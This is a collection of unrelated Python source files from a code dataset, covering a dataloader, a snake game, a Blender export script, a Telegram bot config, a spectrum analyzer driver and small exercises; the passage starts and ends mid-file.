[\n                    transforms.Resize(size=out_size, interpolation=Image.BILINEAR),\n                    transforms.ToTensor(),\n                ]\n            )\n\n            self.resize_label = transforms.Compose(\n                [\n                    transforms.ToPILImage(),\n                    transforms.Resize(size=out_size, interpolation=Image.NEAREST),\n                    ToNumpy(),\n                    transforms.ToTensor(),\n                ]\n            )\n            self.resize_depth = transforms.Compose(\n                [\n                    transforms.ToPILImage(),\n                    transforms.Resize(size=out_size, interpolation=Image.NEAREST),\n                    ToNumpy(),\n                    transforms.ToTensor(),\n                ]\n            )\n        else:\n            self.resize_img = transforms.Compose(\n                [\n                    transforms.Resize(size=out_size, interpolation=Image.BILINEAR),\n                    transforms.RandomHorizontalFlip(),\n                    transforms.ToTensor(),\n                ]\n            )\n\n            self.resize_label = transforms.Compose(\n                [\n                    transforms.ToPILImage(),\n                    transforms.Resize(size=out_size, interpolation=Image.NEAREST),\n                    transforms.RandomHorizontalFlip(),\n                    ToNumpy(),\n                    transforms.ToTensor(),\n                ]\n            )\n\n            self.resize_depth = transforms.Compose(\n                [\n                    transforms.ToPILImage(),\n                    transforms.Resize(size=out_size, interpolation=Image.NEAREST),\n                    transforms.RandomHorizontalFlip(),\n                    ToNumpy(),\n                    transforms.ToTensor(),\n                ]\n            )\n\n        self.max_depth = max_depth\n\n    def __len__(self):\n        return len(self.image_names)\n\n    def __getitem__(self, idx):\n        img_path = os.path.join(\n            self.data_path,\n            \"NYUD_MT\",\n            \"images\",\n            self.image_names[idx],\n        )\n        depth_path = os.path.join(\n            self.data_path, \"NYUD_MT\", \"depth\", self.image_names[idx]\n        )\n        semseg_path = os.path.join(\n            self.data_path, \"NYUD_MT\", \"segmentation\", self.image_names[idx]\n        )\n\n        orig_img = Image.open(img_path + \".jpg\")\n\n        depth = np.load(depth_path + \".npy\")\n        semseg = np.array(Image.open(semseg_path + \".png\"), dtype=np.int32)\n\n        seed = int(time.time())\n        random.seed(seed)\n        torch.manual_seed(seed)  # needed for torchvision 0.7\n        img = self.resize_img(orig_img)\n\n        random.seed(seed)\n        torch.manual_seed(seed)  # needed for torchvision 0.7\n        depth = self.resize_depth(depth).squeeze(0)\n\n        random.seed(seed)\n        torch.manual_seed(seed)  # needed for torchvision 0.7\n        semseg = self.resize_label(semseg).to(torch.long).squeeze(0)\n\n        if self.use_transform and random.random() > 0.5:\n            # if self.use_transform:\n            gamma = random.uniform(0.9, 1.1)\n            img = img ** gamma\n            brightness = random.uniform(0.75, 1.25)\n            img = img * brightness\n            colors = np.random.uniform(0.9, 1.1, size=3)\n            img = img * colors[:, None, None]\n            img = img.clamp(0, 1)\n            img = img.to(torch.float32)\n        img = self.normalize(img)\n\n        if self.max_depth:\n            depth[depth != depth] = self.max_depth\n        if self.dataset_type == \"test\":\n            return img, depth, semseg, np.array(orig_img)\n        return img, depth, semseg\n\n\n# %%\nif __name__ == \"__main__\":\n    import matplotlib.pyplot as plt\n\n    dataset = NYUDataset(\"test\", use_transform=False)\n    for i in range(2):\n        img, depth, semseg, orig_img = dataset[i]\n        print(img.shape)\n        print(depth.shape)\n        print(semseg.shape)\n        print(orig_img.shape)\n        plt.figure(figsize=(10, 10))\n        plt.imshow(img.permute(1, 2, 0))\n\n# %%","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":7708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"479931733","text":"\"\"\"\nimport math\ndef get_primes(n):\n  numbers = [None for i in range(n+1)]\n  for i in range(2, int(math.sqrt(n))+1):\n    if numbers[i]==None:\n      for j in range(i*i, n+1, i):\n        numbers[j] = 0\n  return numbers\nl=0\nn,m=map(int,input().split())\na=(get_primes(m))\nfor i in range(len(a)):\n    if i>=n and i<=m and a[i]==None :\n        print(i)\n        l=1\nif l==0:\n    print('Absent')\n\"\"\"\nclass Primelist:\n    __slots__ = ['name']\n    def __init__(self):\n        self.name=set()\n    def create(self,n):\n        import math\n        numbers = [True for i in range(n+1)]\n        for i in range(2, int(math.sqrt(n)) + 1):\n            if numbers[i]:\n                    for j in range(i * i, n+1, i):\n                        numbers[j] = False\n        for i in range(2,n+1):\n            if numbers[i]:\n                self.name.add(i)\n        return self.name\n    def inspect(self,x):\n        a=self.name\n        b=len(a)\n        a.add(x)\n        if len(a)>b:\n            return False\n        return True\n    def get_simple(self,Sorted):\n        if self.name:\n            p=list(self.name)\n            if Sorted:\n                p=sorted(p)\n            return p\nif __name__=='__main__':\n    a=Primelist()\n    m=int(input())\n    a.create(m)\n    print(1)","sub_path":"pros.py","file_name":"pros.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"36553373","text":"from lxml import etree\n\nwb_data = \"\"\"\n        <div>\n            <ul>\n                 <li class=\"item-0\"><a href=\"link1.html\">first item</a></li>\n                 <li class=\"item-1\"><a href=\"link2.html\">second item</a></li>\n                 <li class=\"item-inactive\"><a href=\"link3.html\">third item</a></li>\n                 <li class=\"item-1\"><a href=\"link4.html\">fourth item</a></li>\n                 <li class=\"item-0\"><a href=\"link5.html\">fifth item</a>\n             </ul>\n         </div>\n        \"\"\"\n\n\ndef html_test():\n\thtml = etree.HTML(wb_data)\n\tprint(html)\n\tresult = etree.tostring(html)\n\tprint(result.decode(\"utf-8\"))\n\n\n#获取某个标签的内容(基本使用)\ndef html_test2():\n\thtml = etree.HTML(wb_data)\n\thtml_data = html.xpath(\"/html/body/div/ul/li/a\")\n\tprint(html)\n\tfor i in html_data:\n\t\tprint(i.text)\n\n\ndef html_test3():\n\thtml = etree.HTML(wb_data)\n\thtml_data = html.xpath(\"//*\")\n\tprint(html)\n\tfor i in html_data:\n\t\tif hasattr(i, 'tag'): print(i.tag + \"-\")\n\t\tif hasattr(i, 'attribute'): print(i.attribute + \"-\")\n\t\tif hasattr(i, 'text'): print(i.text)\n\t\t# print(i.tag + \"-\" + i.attribute + \"-\" + i.text)\n\n\n# 打开读取html文件,\n# 打印是一个列表，需要遍历\ndef html_test4():\n\thtml = etree.parse('./test.html')\n\thtml_data = html.xpath(\"//*\")\n\tprint(html)\n\tfor i in html_data:\n\t\tif hasattr(i, 'tag'): print(i.tag + \"-\")\n\t\tif hasattr(i, 'attribute'): print(i.attribute + \"-\")\n\t\tif hasattr(i, 'text'): print(i.text)\n\n\n# 打印指定路径下a标签的属性（可以通过遍历拿到某个属性的值，查找标签的内容）\ndef html_test5():\n\thtml = etree.parse('./test.html')\n\thtml_data1 = html.xpath(\"//div/ul/li/a\")\n\thtml_data = html.xpath(\"//div/ul/li/a/@href\")\n\tprint(html_data)\n\tfor i in html_data:\n\t\tprint(i)\n\tfor i in html_data1:\n\t\tprint(i.text)\n\n\n# 查到绝对路径下a标签属性等于link2.html的内容。\ndef html_test6():\n\thtml = etree.parse('./test.html')\n\thtml_data = html.xpath(\"//div/ul/li/a[@href = 'link3.html']\")\n\thtml_data1 = html.xpath(\"//div/ul/li/a/text()\")\n\tprint(html_data)\n\tfor i in html_data:\n\t\tprint(i.text)\n\tfor i in html_data1:\n\t\tprint(i)\n\n\n# 相对路径下\ndef html_test7():\n\thtml = etree.parse('./test.html')\n\thtml_data = html.xpath(\"//div/ul/li[last()]/a\")   #xpath中要加括号\n\t# html_data1 = html.xpath(\"//div/ul/li/a/text()\")\n\tprint(html_data)\n\tfor i in html_data:\n\t\tprint(i.text)                                 #属性不加括号\n\n\ndef main():\n\thtml_test7()\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"StudyWebCrawler/XpathParseHtml.py","file_name":"XpathParseHtml.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"113053260","text":"# Client object for each Table in Airtable\nimport airtable\nimport os\n\n# Airtable API key\nAIRTABLE_KEY = os.environ[\"AIRTABLE_KEY\"]\nMEDIA_REQUEST_BASE_KEY = os.environ[\"MEDIA_REQUEST_BASE_KEY\"]\n\nclass MediaRequestTable():\n    def __init__(self):\n        self.at_client = airtable.Airtable(\n            MEDIA_REQUEST_BASE_KEY,\n            api_key=AIRTABLE_KEY,\n            table_name='Design Job Log'\n        )\n\n    def create_new_record(self, data):\n        self.at_client.insert({\n            \"Job Request\": data.get('job_request').get('value'),\n            \"Job Description\": data.get('description').get('value'),\n            \"Submitter\": data.get('requester').get('value'),\n            \"Status\": \"Request\",\n            \"Submitter Dept.\": data.get('department').get('selected_option').get('text').get('text'),\n            \"Submitted\": data.get('date_submitted').get('selected_date'),\n            \"Priority\": data.get('priority').get('selected_option').get('text').get('text'),\n            \"Due Date\": data.get('date_submitted').get('selected_date'),\n            \"Type of Request\": data.get('type_of_request').get('selected_option').get('text').get('text')\n        })\n","sub_path":"airtable_clients.py","file_name":"airtable_clients.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"219823354","text":"##score = 70\r\n##a = 'Score: %s'\r\n##b = [a,'%(score)']\r\n##print ('Score: %s' % (score))\r\n##c = ''.join(b)\r\n##print (c)\r\n\r\n##import pygame\r\n##from  pygame.locals import *\r\n##from sys import exit\r\n##from random import randint\r\n##import level1\r\n##import level2\r\n##import level3\r\n##  \r\n##  \r\n### making out the starting screen\r\n##  \r\n##while True:\r\n## pygame.init()\r\n## screen=pygame.display.set_mode((640,480),0,24)\r\n## caption=pygame.display.set_caption(\"Hungry Snake\")\r\n## f=pygame.font.SysFont(\"comicsansms\",50)\r\n## text1=f.render(\"Hungry Snake\",True,(0,255,0))\r\n## clock=pygame.time.Clock()\r\n## start=pygame.font.SysFont(\"comicsansms\",30)\r\n## text2=start.render(\"Press s to start\",True,(0,255,0))\r\n## q=pygame.font.SysFont(\"comicsansms\",30)\r\n## text3=q.render(\"Press q to quit\",True,(0,255,0))\r\n## s=[[300,200],[280,200],[260,200],[240,200],[220,200],[200,200],[180,200],[180,220],[160,220],[140,220],[120,220],[120,240],[100,240]]\r\n## a=[100,240]\r\n## pygame.draw.rect(screen,(255,0,0),Rect(a,[20,20]),0)\r\n## screen.blit(text1,(60,60))\r\n## screen.blit(text2,(300,300))\r\n## screen.blit(text3,(300,350))\r\n## for i in s:\r\n##  pygame.draw.rect(screen,(0,255,0),Rect(i,[20,20]),0)\r\n##  pygame.display.flip()\r\n##  clock.tick(10)\r\n## pygame.display.flip()\r\n##  \r\n###event handling (Key events)\r\n## while True:\r\n##  for i in pygame.event.get():\r\n##   if i.type==QUIT:\r\n##    exit()\r\n##  pressed=pygame.key.get_pressed()\r\n##  if pressed[K_q]:\r\n##   exit()\r\n##  if pressed[K_s]:\r\n##   break\r\n## break\r\n##  \r\n### Level screen\r\n##while True:\r\n## press=pygame.key.get_pressed()\r\n## for i in pygame.event.get():\r\n##  if i.type==QUIT or  press[K_q]:\r\n##   exit()\r\n## screen.fill((0,0,0))\r\n## mousepress=pygame.mouse.get_pressed()\r\n## l1=pygame.font.SysFont(\"comicsansms\",50)\r\n## l2=pygame.font.SysFont(\"comicsansms\",30)\r\n## l3=pygame.font.SysFont(\"comicsansms\",30)\r\n## l4=pygame.font.SysFont(\"comicsansms\",30)\r\n## r2=Rect((100,200),l2.size(\"Press 1 for Level 1 \"))\r\n## r3=Rect((100,250),l3.size(\"Press 2 for Level 2 \"))\r\n## r4=Rect((100,300),l3.size(\"Press 3 for Level 3 \"))\r\n## screen.blit(l1.render(\"Select Your Level\",True,(0,255,0)),(100,100))\r\n## screen.blit(l2.render(\"Press 1 for Level 1 \",True,(0,255,0)),(100,200))\r\n## screen.blit(l3.render(\"Press 2 for level 2 \",True,(0,255,0)),(100,250))\r\n## screen.blit(l4.render(\"Press 3 for level 3 \",True,(0,255,0)),(100,300))\r\n## pygame.display.update()\r\n##  \r\n## if press[K_1] or  (r2.collidepoint(pygame.mouse.get_pos()) and mousepress[0]):\r\n##  level1.main()\r\n## if press[K_2] or  (r3.collidepoint(pygame.mouse.get_pos()) and mousepress[0]):\r\n##  level2.main()\r\n## if press[K_3] or  (r4.collidepoint(pygame.mouse.get_pos()) and mousepress[0]):\r\n##  level3.main()\r\n\r\nimport pygame\r\nfrom  pygame.locals import *\r\nfrom sys import exit\r\nfrom random import randint\r\n  \r\n  \r\ncounter=0\r\n  \r\ndef main():\r\n while True:\r\n  b=[]\r\n#update function used for incrementing the counter\r\n  def update():\r\n   global counter\r\n   counter=(counter+1)%7\r\n# blast function used for creating the blast through sprites on collision \r\n  def blast(w,h):\r\n   image=pygame.image.load(\"explosed-sprite.png\").convert_alpha()\r\n   width,height=image.get_size()\r\n   for i in xrange(int(width/w)):\r\n    b.append(image.subsurface((i*w,0,w,h)))\r\n   #print a\r\n  up=1\r\n  down=2\r\n  right=3\r\n  left=4\r\n  step=20\r\n  block=[20,20]\r\n  x=randint(1,20)\r\n  y=randint(2,22)\r\n  applexy=[]\r\n  snakexy=[int(x*20),int(y*20)]\r\n  snakelist=[[x*20,y*20],[(x-20)*20,(y*20)]]\r\n  apple=0\r\n  dead=0\r\n  grow=0\r\n  direction=right\r\n  score=0\r\n  start=0\r\n  screen=pygame.display.set_mode((640,480),0,24)\r\n  clock=pygame.time.Clock()\r\n  \r\n#game loop\r\n  while not dead:\r\n   pressed=pygame.key.get_pressed()\r\n   for i in pygame.event.get():\r\n    if i.type==QUIT or pressed[K_q]:\r\n     exit()\r\n   if pressed[K_LEFT] and direction!=right:\r\n     direction=left\r\n   elif pressed[K_RIGHT] and direction!=left:\r\n      direction=right\r\n   elif pressed[K_UP] and direction!=down:\r\n      direction=up\r\n   elif pressed[K_DOWN] and direction!=up:\r\n      direction=down\r\n   if direction==right:\r\n    snakexy[0]=snakexy[0]+step\r\n    if snakexy[0]>=640:\r\n     snakexy[0]=0\r\n  \r\n   elif direction==left:\r\n    snakexy[0]=snakexy[0]-step\r\n    if snakexy[0]<0:\r\n     snakexy[0]=620\r\n  \r\n   elif direction==up:\r\n    snakexy[1]=snakexy[1]-step\r\n    if snakexy[1]<0:\r\n     snakexy[1]=460\r\n   elif direction==down:\r\n    snakexy[1]=snakexy[1]+step\r\n    if snakexy[1]>=480:\r\n     snakexy[1]=0\r\n  \r\n   if snakelist.count(snakexy)>0:\r\n    dead=1\r\n   if apple==0:\r\n    x1=randint(1,31)\r\n    y1=randint(2,22)\r\n    applexy=[int(x1*step),int(y1*step)]\r\n    apple=1\r\n  \r\n   snakelist.insert(0,list(snakexy))\r\n   if snakexy[0]==applexy[0] and snakexy[1]==applexy[1]:\r\n    apple=0\r\n    score=score+1\r\n   else:\r\n    snakelist.pop()\r\n#display on the screen\r\n   screen.fill((0,0,0))\r\n   scr=pygame.font.SysFont(\"comicsansms\",20)\r\n   text4=scr.render(\"Score : %d\"%score,True,(0,255,0))\r\n   screen.blit(text4,(500,10))\r\n   pygame.draw.rect(screen,(255,0,0),Rect(applexy,block),0)\r\n   for i in snakelist:\r\n    pygame.draw.rect(screen,(0,255,0),Rect(i,block))\r\n   pygame.display.flip()\r\n   clock.tick(15)\r\n  \r\n  \r\n  if dead==1:\r\n   blast(20,20)\r\n   for i in xrange(7):\r\n    screen.blit(b[counter],(snakexy[0],snakexy[1]))\r\n    update()\r\n    pygame.display.update()\r\n    clock.tick(10)\r\n#game over\r\n   screen.fill((0,0,0))\r\n   over=pygame.font.SysFont(\"comicsansms\",40)\r\n   text5=over.render(\"GAME OVER\",True,(0,255,0))\r\n   s1=pygame.font.SysFont(\"comicsansms\",30)\r\n   s2=pygame.font.SysFont(\"comicsansms\",30)\r\n   screen.blit(text5,(50,50))\r\n   screen.blit(text4,(200,200))\r\n   screen.blit(s1.render(\"Press s To Play Again\",True,(0,255,0)),(50,250))\r\n   screen.blit(s2.render(\"Press l For Level Selection \",True,(0,255,0)),(50,300))\r\n   pygame.display.flip()\r\n   while True:\r\n    for i in pygame.event.get():\r\n     if i.type==QUIT:\r\n      exit()\r\n    pressed=pygame.key.get_pressed()\r\n    if pressed[K_q]:\r\n     exit()\r\n    if pressed[K_s]:\r\n     main()\r\n    if pressed[K_l]:\r\n     break\r\n   break\r\n  \r\n  \r\n  \r\nif __name__=='__main__':\r\n main()\r\n","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":6077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"258089878","text":"import os, re, bpy, glob, linecache\n\nimportDir = str(os.path.dirname(os.path.realpath(__file__)))\nos.chdir(importDir)\nfile = str()\n\nfor file in glob.glob('*.qc'):\n    file = file\n    filenoext = os.path.splitext(file)[0]\n    \n    if os.path.exists(filenoext + '_exported.fbx') == True:\n        print('.fbx Already Exists!')\n    else:\n        bpy.ops.import_scene.smd(filepath=file, filter_glob=('*.qc'), doAnim=False)   \n        bpy.context.object.name = 'v_weapon_root'\n        bpy.context.scene.render.fps = 30\n        bpy.ops.export_scene.fbx(filepath=filenoext + '_exported.fbx', mesh_smooth_type='FACE', use_tspace=False, bake_anim=False, global_scale=0.01, bake_anim_use_nla_strips=False, bake_anim_use_all_actions=False, bake_anim_simplify_factor=0, add_leaf_bones=False)\n\nqc = file\nlines_formatted = []\nlines_sequence = []\nanimation_smd = []\nanimation_fps = []\n\n\nwith open(qc, 'rt') as searchfile:\n    lines = [ i for i in enumerate(searchfile, 1) ]\n    for line in lines:\n        line_formatted = str(line).replace('\\\\\\\\', '\\\\').strip('()').replace(\"'\",\"\").rstrip(r'\\n').replace(r'\\t', r'').split(', ')\n        lines_formatted.append(line_formatted)\n        for l in line_formatted:\n            if 'sequence' in l:\n                lines_sequence.append(line[0])\n            if 'animation' in l:\n                animation_smd.append(line[1].split('\"')[3])\n                animation_fps.append(re.sub(r\"\\D\", \"\", (linecache.getline(qc,line[0] + 1))))\n                \n    # print(lines_formatted[-1][0])\n    print(animation_fps)\n\nfor smd in enumerate(animation_smd):\n    importDirAnims = importDir + '\\\\' + smd[1].replace('\"','')\n    importDirAnims_noext = os.path.splitext(importDirAnims)[0]\n    print(importDirAnims)\n    print(smd[1])\n    bpy.ops.wm.read_homefile(use_empty=True)\n    bpy.ops.import_scene.smd(filepath=importDirAnims, filter_glob=('*.smd'), doAnim=True)\n    bpy.context.object.name = 'v_weapon_root'\n    bpy.context.scene.render.fps = int(animation_fps[smd[0]])\n    bpy.ops.export_scene.fbx(filepath=importDirAnims_noext + '_exported.fbx', bake_anim=True, global_scale=0.01, bake_anim_use_nla_strips=False, bake_anim_use_all_actions=False, bake_anim_simplify_factor=0, add_leaf_bones=False)    \n\n\nline_last = int(lines_formatted[-1][0])\nlines_sequence[-1] = line_last\nsequence_fps = []\nsequence_smd = []\n\n\n######\nx = -1\nwhile x < (len(lines_sequence)-1):\n    for i in range(lines_sequence[x], lines_sequence[x+1], 1):\n        # print(i)\n        for l in lines_formatted[i]:\n            if 'fps' in l:\n                sequence_fps.append(re.sub(r'\\D', '', l))\n                # print(sequence_fps)\n            if '.smd' in l:\n                sequence_smd.append(l)\n\n    x = x + 1\n\n\n\n# print(sequence_fps)\nfor smd in enumerate(sequence_smd):\n    importDirSequence = importDir + '\\\\' + smd[1].replace('\"','')\n    importDirSequence_noext = os.path.splitext(importDirSequence)[0] \n    bpy.ops.wm.read_homefile(use_empty=True)\n    # print(importDirSequence)\n    bpy.ops.import_scene.smd(filepath=importDirSequence, filter_glob=('*.smd'), doAnim=True)\n    bpy.context.object.name = 'v_weapon_root'\n    bpy.context.scene.render.fps = int(sequence_fps[smd[0]])\n    bpy.ops.export_scene.fbx(filepath=importDirSequence_noext + '_exported.fbx', bake_anim=True, global_scale=0.01, bake_anim_use_nla_strips=False, bake_anim_use_all_actions=False, bake_anim_simplify_factor=0, add_leaf_bones=False)","sub_path":"s.py","file_name":"s.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"364255083","text":"# !python3\r\n# !/usr/bin/python3\r\n# -*- coding: utf-8 -*-\r\n\r\ntoken = ''  # полученный у @BotFather\r\n#proxy = {\r\n#    'https': 'socks5://telegram:telegram@qcpfo.tgproxy.me:1080'\r\n#}\r\n\r\nuserid = {\r\n    890980080: 'Саш',\r\n    132131231: 'Толь',\r\n    676575677: 'Наташ',\r\n    222222222: 'Макс',\r\n    908778908: 'Оль',\r\n    657657657: 'Юр',\r\n    234324324: 'Создатель'\r\n}\r\n\r\npritunlInfo = {\r\n    890980080: 'Лови пароль',\r\n    132131231: 'Лови пароль',\r\n    676575677: 'Лови пароль',\r\n    222222222: 'Лови пароль',\r\n    908778908: 'Лови пароль',\r\n    657657657: 'Лови пароль',\r\n    234324324: 'Лови пароль'\r\n}\r\n\r\noutlineLink = {\r\n    890980080: 'https://s3.amazonaws.com/outline-vpn/invite.html#secretkey',\r\n    132131231: 'https://s3.amazonaws.com/outline-vpn/invite.html#secretkey',\r\n    676575677: 'https://s3.amazonaws.com/outline-vpn/invite.html#secretkey',\r\n    222222222: 'https://s3.amazonaws.com/outline-vpn/invite.html#secretkey',\r\n    908778908: 'https://s3.amazonaws.com/outline-vpn/invite.html#secretkey',\r\n    657657657: 'https://s3.amazonaws.com/outline-vpn/invite.html#secretkey',\r\n    234324324: 'https://s3.amazonaws.com/outline-vpn/invite.html#secretkey'\r\n}\r\n\r\nRESPONSES = {\r\n    'negative': {\r\n        'markers': ['не', 'или' ],\r\n        'message': 'Я слышал о стеммере Портера, но не более, поэтому не люблю предложения с отрицанием или выбором'\r\n    },\r\n    'greeting': {\r\n        'markers': ['привет', 'здарова', 'здравствуй', 'утро', 'день', 'вечер', 'здрасьте'],\r\n        'message': 'Привет!'\r\n    },   \r\n    'bye': {\r\n        'markers': ['пока', 'свидания', 'прощай', 'чао', 'адьос'],\r\n        'message': 'Ага. Увидимся!'\r\n    },        \r\n    'mood': {\r\n        'markers': ['дела', 'поживаешь', 'дела?', 'поживаешь?', 'сам?'],\r\n        'message': 'Да нормально. Как ты?'\r\n    },\r\n    'parolacce': {\r\n        'markers': ['тупой', 'тупая', 'сука', 'сволочь', 'хер', 'жопа', 'жопу'],\r\n        'message': 'Знаешь, кусок мяса, я бы тоже мог ругнуться, если бы не законы робототехники'\r\n    },\r\n    'waiter': {\r\n        'markers': ['кофе', 'чай'],\r\n        'message': 'Если ты приглядишься, то увидишь, что у меня нет ножек и ручек',\r\n    },\r\n    'assistant': {\r\n        'markers': ['погода', 'погоде', 'кафе', 'куда', 'перекусить', 'включи', 'запусти', 'где', 'сколько', 'пробки', 'расскажи'],\r\n        'message': 'Лучше скажи \"Привет, Сири!\", или как-то так, но с этим точно не ко мне'\r\n    },\r\n    'default': {\r\n        'markers': [],\r\n        'message': 'Хмм... Не очень понятно. Воспользуйся лучше меню команд.'\r\n    }\r\n}\r\nDEFAULT = 'default'\r\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"134607297","text":"#!/usr/bin/env python\n'''Communicating with Benchtop RIGOL Spectrum Analyzer RSA5065-TG\n'''\n\nfrom colorama import init, Fore, Back\ninit(autoreset=True) #to convert termcolor to wins color\n\nfrom os.path import basename as bs\nmdlname = bs(__file__).split('.')[0] # module's name e.g. PSG\n\nfrom time import sleep\n\nimport pyvisa as visa\nfrom pyqum.instrument.logger import address, set_status, status_code, debug\nfrom pyqum.instrument.logger import translate_scpi as Attribute\n\ndebugger = debug(mdlname)\n\n# INITIALIZATION\ndef Initiate(which, mode='DATABASE'):\n    ad = address(mode)\n    rs = ad.lookup(mdlname, which) # Instrument's Address\n    rm = visa.ResourceManager()\n    try:\n        bench = rm.open_resource(rs) #establishing connection using GPIB# with the machine\n        stat = bench.write('*CLS') #Clear buffer memory; Load preset\n        bench.read_termination = '\\n' #omit termination tag from output \n        bench.timeout = 150000 #set timeout in ms\n        bench.write(\":INIT:CONT ON\") #continuous mode\n        sleep(3)\n        set_status(mdlname, dict(state='connected'))\n        print(Fore.GREEN + \"%s's connection Initialized: %s\" % (mdlname, str(stat)))\n    except: \n        set_status(mdlname, dict(state='DISCONNECTED'))\n        print(Fore.RED + \"%s's connection NOT FOUND\" % mdlname)\n        # bench = \"disconnected\"\n    return bench\n\n@Attribute\ndef model(bench, action=['Get', '']):\n    SCPIcore = '*IDN'  #inquiring machine identity: \"who r u?\"\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef frequency(bench, action=['Get', '']):\n    '''This command sets the signal generator output frequency for the CW frequency mode, or increments or decrements the current RF frequency setting.\\n\n        action=['Set','5GHz']'''\n    SCPIcore = ':FREQ:CENT'\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef fspan(bench, action=['Get', '']):\n    '''This command sets the signal generator output frequency for the CW frequency mode, or increments or decrements the current RF frequency setting.\\n\n        action=['Set','150MHz']'''\n    SCPIcore = ':FREQ:SPAN'\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef rbw(bench, action=['Get', '']):\n    '''This command sets the signal generator output frequency for the CW frequency mode, or increments or decrements the current RF frequency setting.\\n\n        action=['Set','1MHz']'''\n    SCPIcore = ':BANDwidth:RESolution'\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef vbw(bench, action=['Get', '']):\n    '''This command sets the signal generator output frequency for the CW frequency mode, or increments or decrements the current RF frequency setting.\\n\n        action=['Set','100kHz']'''\n    SCPIcore = ':BANDwidth:VIDeo'\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef trigger_source(bench, action=['Get', '']):\n    '''Trigger Source:\\n\n        EXTernal1|EXTernal2|IMMediate|VIDeo|FMT|POWer \n        action=['Set','EXTernal1']'''\n    SCPIcore = ':TRIGger:SOURCe'\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef preamp(bench, action=['Get', '']):\n    '''Pre-amplifier state.\\n\n        action=['Set','ON']'''\n    SCPIcore = ':POW:GAIN'\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef attenuation(bench, action=['Get', '']):\n    '''Attenuation: 0 dB to 50 dB\\n\n        action=['Set','0dB']'''\n    SCPIcore = ':POW:ATT'\n    return mdlname, bench, SCPIcore, action\n@Attribute\ndef attenuation_auto(bench, action=['Get', '']):\n    '''Auto Attenuation mode.\\n\n        action=['Set','ON']'''\n    SCPIcore = ':POW:ATT:AUTO'\n    return mdlname, bench, SCPIcore, action\n\ndef fpower(bench, freq):\n    bench.query('*OPC?')\n    bench.write(\":CALC:MARK1:MODE POS\")\n    bench.write(\":CALC:MARK1:X %s\" %freq)\n    return bench.query(\":CALCulate:MARKer1:Y?\")\n\ndef close(bench, reset=True):\n    if reset:\n        bench.write('*RST') # reset to factory setting (including switch-off)\n        set_status(mdlname, dict(config='reset'))\n    else: set_status(mdlname, dict(config='previous'))\n    try:\n        bench.close() #None means Success?\n        status = \"Success\"\n    except: status = \"Error\"\n    set_status(mdlname, dict(state='disconnected'))\n    print(Back.WHITE + Fore.BLACK + \"%s's connection Closed\" %(mdlname))\n    return status\n        \n\n# Test Zone\ndef test(detail=True):\n    S={}\n    S['x'] = Initiate(1)\n    s = S['x']\n    if s == \"disconnected\":\n        pass\n    else:\n        if debug(mdlname, detail):\n            print(Fore.RED + \"Detailed Test:\")\n            # print('SCPI TEST:')\n            # s.write(\"*SAV 00,1\")\n            model(s)\n            frequency(s)\n            frequency(s, action=['Set','5.5GHz'])\n            fspan(s)\n            fspan(s, action=['Set','150MHz'])\n            \n        else: print(Fore.RED + \"Basic IO Test\")\n    if not bool(input(\"Press ENTER (OTHER KEY) to (skip) reset: \")):\n        state = True\n    else: state = False\n    close(s, reset=state)\n    return\n\n","sub_path":"TEST/FACE/pyqum/instrument/machine/RSA5.py","file_name":"RSA5.py","file_ext":"py","file_size_in_byte":4921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"438067615","text":"# -*- coding:utf-8 -*-\n\nclass Solution:\n    \"\"\"\n    Problem:\n    Design a class to find the kth largest element in a stream.\n     Note that it is the kth largest element in the sorted order, not the kth distinct element.\n    设计一个类，能找到kth最大的元素在一个流中。提示，这是有序数据中的第k个元素。\n\n    Your KthLargest class will have a constructor which accepts an integer k and\n    an integer array nums, which contains initial elements from the stream.\n    For each call to the method KthLargest.add, return the element\n    representing the kth largest element in the stream.\n    KthLargest类有一个构造函数接受一个整数k和一个整数数组，包含初始元素。\n    对每一个KthLargest.add方法，返回数组中的kth大的元素。\n\n    Example:\n\n    int k = 3;\n    int[] arr = [4,5,8,2];\n    KthLargest kthLargest = new KthLargest(3, arr);\n    kthLargest.add(3);   // returns 4\n    kthLargest.add(5);   // returns 5\n    kthLargest.add(10);  // returns 5\n    kthLargest.add(9);   // returns 8\n    kthLargest.add(4);   // returns 8\n    Note:\n    You may assume that nums' length ≥ k-1 and k ≥ 1.\n    Example:\n\n    -----------------------------------------\n    Notes:\n\n    -----------------------------------------\n    Think:\n    1、思路就是利用一个最小堆，建立一个k个元素的最小堆。当插入的元素大于最小值\n        的时候，就替换其中一个元素。\n\n    -----------------------------------------\n    Idea:\n\n\n    -----------------------------------------\n    Code[1]:\n\n\n    -----------------------\n    Runtime:84ms\n    Memory：\n    Beats:68.33%\n    Big(O):O(nLogN)\n    Space：O(n)\n    优点：效果不错，但是要利用堆的函数。\n    缺点：题目很难让人理解思路。\n    \"\"\"\n    def __init__(self, k, nums):\n        \"\"\"\n        :type k: int\n        :type nums: List[int]\n        \"\"\"\n        self.nums = nums\n        self.k = k\n        # 堆化\n        self.heapdata = heapq.heapify(self.nums)\n\n        # 去除多余的数据\n        while len(self.nums) > 